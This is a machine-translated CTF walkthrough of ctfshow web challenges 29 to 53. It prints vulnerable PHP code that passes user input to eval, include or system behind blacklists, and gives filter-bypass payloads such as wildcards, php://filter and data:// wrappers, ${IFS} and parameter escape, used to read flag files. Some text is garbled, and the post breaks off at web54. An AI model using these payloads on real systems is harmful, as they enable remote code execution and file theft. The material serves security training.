Ctfshow web getting started - command execution

Keywords: Front-end Web Development security Web Security CTF

web29

The source code is:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

You can see that the word flag is filtered

But we can bypass flag through wildcards, such as using fla? To represent flag

First? c=system('ls'); To observe the files in this directory, we found flag.php

Then use? c=system('cp fla?.php 1.txt'); Match the contents of flag.php to 1.txt

Then access 1.txt to get the flag

web30

Open the page to view the source code:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

It is found that the system and php keywords are newly filtered

At this time, we can use the backquote ` ` ` to replace the system and continue to use the wildcard? To match php

Then payload

?c=`cp fla?.??? 1.txt`;

Then access 1.txt

web31

Open the page to view the source code

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

It is found that cat,sort,shell, decimal point, space, single quotation mark and other words are newly filtered

We can execute the first parameter of get through eval nesting

payload:

?c=eval($_GET[1]);&1=system('cat flag.php');

Here, payload makes the parameter 1 escape. It does not belong to c, so the characters dropped by ban are invalid for 1, and there is no filtering place for 1. We can directly cat flag.php

One thing here is that the page is blank after execution. You can only find the flag by looking at the source code

There is also an inverted hole: reverse cat to tac, that is, reverse reading. You can read it without looking at the source code

payload:

?c=eval($_GET[1]);&1=system('tac flag.php');

In this problem, we make a springboard for the c parameter and let it execute the value of another parameter. Then, the other parameter 1 is separated from the regular judgment of c, and we can execute any character dropped by ban

web32-web36

web32

Open the page to view the code

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

It is found that the new ban has lost the characters of backquote, echo, semicolon and left parenthesis

If the space is dropped by ban, we can escape 1 by including and carriage return (% 0a), and the last statement of php can use? > To replace;

payload:

?c=include%0a$_GET[1]?>&1=flag.php

However, our direct access does not output the value of flag. Although it has been successfully included, it cannot be output because there is no semicolon division

In this case, we can do it through file inclusion

In hackbar, there is a file containing plug-ins:

payload:

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Because 1 has escaped here, there is basically no filtering in the following string. In this way, access flag.php to obtain the base64 encoded value

Put base64 decoded flag

This problem uses the method of file inclusion to read any file in a disguised form

php://filter Is a ratio filter. Here, a filter encoded by base64 is used to read flag.php

This filter is also a pseudo protocol. It reads a file or resource through a specified channel. Filter / indicates the specified channel, and base64 encode indicates that the name of the channel is base64

Generally speaking, the resources I read are encoded through base64

If you want to know the specific principle, you can take a look at this blog [[ctf] file contains vulnerabilities] [9]

web33-35

There is no difference between the filtered characters. payload is the same as web33. You can get the flag by executing it. See web32 for the specific principle

payload: ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web36

Open the page and find that the number is filtered. Then we can change the 1 of the previous payload to a

payload: ?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37-web39

web37

The page code is as follows:
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

The difference is that it contains a c: include($c);

We can read this question through the data pseudo protocol

payload: ?c=data://text/plain,<?php system('tac fla?.php');?>
The data protocol executes the following string as php code. Naturally, the flag is successfully obtained by executing system('tac fla?.php ')

data: / / pseudo protocol
Similar to php: / /, the data stream wrapper uses the concept of stream to redirect the original include file stream to the user controllable input stream. In short, the inclusion method of the execution file includes your input stream, which is achieved by inputting payload; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

web38

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

Open this question and find that PHP is filtered, but the PHP code can be bypassed by using PHP short tags. flag.php can continue to use wildcards? bypass

payload: ?c=data://text/plain,<?=system('tac fla?.???')?>

Description: '<? =' Is a short open label for PHP and an open use of echo.

web39

Open the page to view the code as follows:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

The difference here is include($c); A. php is added after it

But here we can use the last payload:

?c=data://text/plain,<?=system('tac fla?.php')?>

Because our php code has been closed here,. php can not perform the effect, and can only be output as a string

web40

Open the page to view the code:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


​ if(isset($_GET['c'])){
​ $c = $_GET['c'];
​ if(!preg_match("/[0-9]|~|`|@|#|\$|%|^|&|*|\(|\)|-|=|+|{|[|]|}|:|'|"|,|<|.|>|/|?|\\/i", KaTeX parse error: Expected '}', got 'EOF' at end of input: ... eval(c);
​ }

​ }else{
​ highlight_file(FILE);
​ }

It was found that almost all symbols were filtered

There are only semicolons, underscores, and English brackets left (after a long time of observation, it is found that the Chinese brackets are filtered for the title)

Let's talk about a function to print the file under the original path: print_r(scandir('.'))

However, it is obvious that single quotation marks and decimal points have been filtered, and we have to find a way to bypass them here

The simplest way is to use the function to pass parameters, so find the function that can use the decimal point at present

Really: localeconv() returns an array containing local numbers and currency format information

Then the next idea is to construct: print_r(scandir(localeconv()[0]))

However, this function cannot be returned like localeconv()[0], and the square brackets are filtered, so other functions will be used

  • The current() function returns the current element (cell) in the array. The first value is taken by default,

  • pos() and current() are aliases of current()

  • The reset() function returns the value of the first cell of the array. If the array is empty, it returns FALSE

All three functions here can be used

So print the current directory:? c=print_r(scandir(pos(localeconv())));

flag.php was found from this directory

You can use next() here

Output the value of the next element of the current element in the array, that is, you can output the second (and end can output the last)

But what about flag in the third? You can use array_reverse function

This function transposes the array;

So payload:? c=print_r(next(array_reverse(scandir(pos(localeconv())))));

You can go to the flag.php directory, and then we can get the flag by looking at its code

Final payload:? c=show_ source(next(array_reverse(scandir(pos(localeconv())))));

Get flag

web40 another idea:

First, we try to print all the current variables to see what we can get from the variables

payload:?c=print_r(get_defined_vars());

An array of post variables was found

Then we can give him a value for post: 1=phpinfo();

It is found that the string is successfully post ed, so how do we get the value of this string?

We can use an operation on the array: next (the principle of next was mentioned in the previous idea of web40)

payload:?c=print_r(next(get_defined_vars()));

You can see that we got this array

If we want to get an array value, we pop up the array: array_pop()

Then execute the statement and print_ Change r to eval function

payload: ?c=eval(array_pop(next(get_defined_vars())));

So we successfully implemented it

So it's the same idea to take flag
We do payload:
GET: ?c=eval(array_pop(next(get_defined_vars())));
POST: 1=system('tac flag.php');

Because there is no filtering on the post side, we can get the flag by connecting flag.php

web41

if(isset($_POST['c'])){
  $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
    eval("echo($c);");
  }
}

Using function: echo

Bypass the idea: filter both numbers and letters. The idea here is to construct system("ls"), but letters are filtered. There is no filter "|", which can be used to construct.

Payload1: script reference Master yu

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}

Using function: system()

Bypass the idea: here, the output content is not echoed through > / dev / null 2 > & 1, which is equivalent to a "black hole". We truncate it through ";" and echo the flag

Payload1: ls;

Payload2: tac flag.php;

web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

Similar to the previous question, we can see that semicolons here are filtered and can be truncated through the command separator: | & & these two can be truncated, but it should be noted that & & url coding is required for successful execution

payload: tac flag.php||or tac flag.php%26%26

web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

The new flag characters are filtered and can be bypassed by wildcards

payload:tac fla?.php||

web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

More space symbols are filtered. Use% 09 instead of spaces

payload:tac%09fla?.php||

web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

More numbers are filtered, but it has no impact on the payload of our previous question. You can continue to use% 09 instead of spaces. Because% 09 is encoded, the browser automatically decodes it into a horizontal tab instead of a number, so you can use the payload of the previous question here

payload:tac%09fla?.php||

web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

The new filter has no effect on the payload of the previous question and will continue to be used

payload:tac%09fla?.php||

web48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

Continue to use the payload: tac%09fla php||

web49

if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}

Continue to use the payload: tac%09fla php||

web50

if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}

%09 is filtered. The redirect character < > is used to replace the space, but < > cannot be followed by wildcards. We bypass the filtered flag through the backslash \

payload:tac<>fla\g.php||

web51

if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}

The new tac is filtered, bypassed with backslash \ or replaced with nl

The nl command reads the File parameter (standard input by default), calculates the line number in the input, and writes the calculated line number to the standard output.

payload:ta\c<>fla\g.php|| or nl<>fla\g.php||

web52

The redirector is filtered and ${IFS} is used instead of spaces. See the following for a variety of bypass methods: CTF command execution and bypass

Construction: ta\c${IFS}fla\g.php||

Echo page:

Payload: TA \ C ${IFS}.. /.. /.. / flag \ g | get flag

web53

if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
    echo($c);
    $d = system($c);
    echo "<br>".$d;
  }else{
    echo 'no';
  }
}

/Dev / null 2 > & 1 is gone, so you don't need to truncate

payload:ta\c${IFS}fla\g.php

web54

Posted by designxperts on Fri, 12 Nov 2021 11:56:51 -0800